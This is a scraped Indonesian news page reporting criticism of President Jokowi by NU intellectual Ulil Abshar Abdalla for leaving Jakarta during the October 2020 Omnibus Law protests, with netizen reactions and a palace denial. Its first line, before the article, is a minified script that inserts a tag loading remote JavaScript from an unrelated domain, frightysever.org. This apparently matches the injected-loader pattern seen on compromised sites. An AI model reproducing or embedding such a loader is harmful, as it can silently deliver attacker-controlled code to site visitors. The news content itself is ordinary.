(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tagar JokowiKabur Trending, Intelektual NU Ajari Presiden Soal Adab


KANALKALIMANTAN.COM, JAKARTA – Intelektual NU Ulil Abshar Abdalla menyinggung sikap Presiden Joko Widodo yang enggan menemui pendemo hari ini, Kamis (08/10/2020).

Melalui akun Twitternya @ulil, ia menyorot perginya Jokowi tersebut yang menurutnya tidak sesuai dengan adab Jawa.

“Eloknya ya, menurut adab Jawa, jika sedang kedatangan “tamu”, ya Pak Presiden tidak malah “nglungani”, pergi, untuk menengok food estate di Kalteng,” kata pria yang akrab disapa Gus Ulil tersebut.

Menurutnya, walaupun Jokowi tidak menemui massa aksi, Jokowi tidak sepantasnya pergi begitu saja dan lebih baik berada di istana.

Ulil Abshar Abdala singgung adab Jokowi. Foto: Twitter/@ulil

“Walau ndak menemui para pendemo, minimal secara simbolis Pak Presiden ada di istana. Itu adabnya. Itulah fatsoen (etika–red) politik,” sambung Ulil.

Hingga artikel ini diturunkan, kicauan Ulil tersebut telah disukai hampir seribu pengguna Twitter.

Apa yang dikemukakan Ulil itu juga langsung disambut oleh komentar warganet yang berjubel di bawah kicauannya.

“Dilihat juga tamunya, emang niat bikin rusuh atau emang niat bertamu. Ingat tamu itu biasanya punya adab. Kalau mau bertamu ya bikin janjian dulu bukan seenak udelnya,” kata warganet dengan akun @El_Ahmad****

“Tamunya gak punya adab, ngeyelan, ngotot dan suka memaksa kehendak,” timpal warganet lainnya dengan akun @mahar***

“Adab bukan berlaku sepihak, pikirkan juga pihak lain yaitu pemerintah yang sedang berusaha membenahi ekonomi mengundang investor, guna mendapatkan uang antara lain untuk mbayari dana pandemi menolong rakyat, tunda dulu syahwat politik sampai 2024,” sambung akun @johnbra***

Sebagai informasi, Presiden Joko Widodo hari ini dijadwalkan melakukan kunjungan kerja ke Kalimantan Tengah untuk meninjau Food Estate.

Deputi Bidang Protokol, Pers dan Media Sekretariat Presiden Bey Machmudin membantah keberangkatan Jokowi ke Yogyakarta dan Solo untuk menghindari demo buruh di depan Istana Kepresidenan Jakarta pada hari ini.

Bey menyebut kunjungan Jokowi ke Palangkaraya sudah dijadwalkan sebelum digelarnya aksi menolak UU Cipta Kerja (Ciptaker) dari tanggal 6-8 Oktober 2020.

“Tidak, agenda Presiden untuk Food Estate (di Palangka Raya) sudah dijadwalkan jauh-jauh hari. Jadi sama sekali tidak ada kaitan dengan aksi buruh,” ujar Bey sebagaimana informasi yang diterima Suara.com, Rabu (7/10/2020).

Kepergian Jokowi tersebut menjadi sorotan lantaran di waktu yang sama massa aksi penolak UU Omnibus Lawa Cipta Kerja berencana menuju Istana Kepresidenan.

Akibat mangkirnya Jokowi dari massa aksi tersebut, tagar #JokowiKabur menjadi trending topic di Twitter hari ini.

Di sisi lain gelombang demonstrasi buruh kian merebak setelah disahkannya UU Cipta Kerja oleh DPR beberapa hari yang lalu. (suara.com)

Reporter : Suara
Editor : KK

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.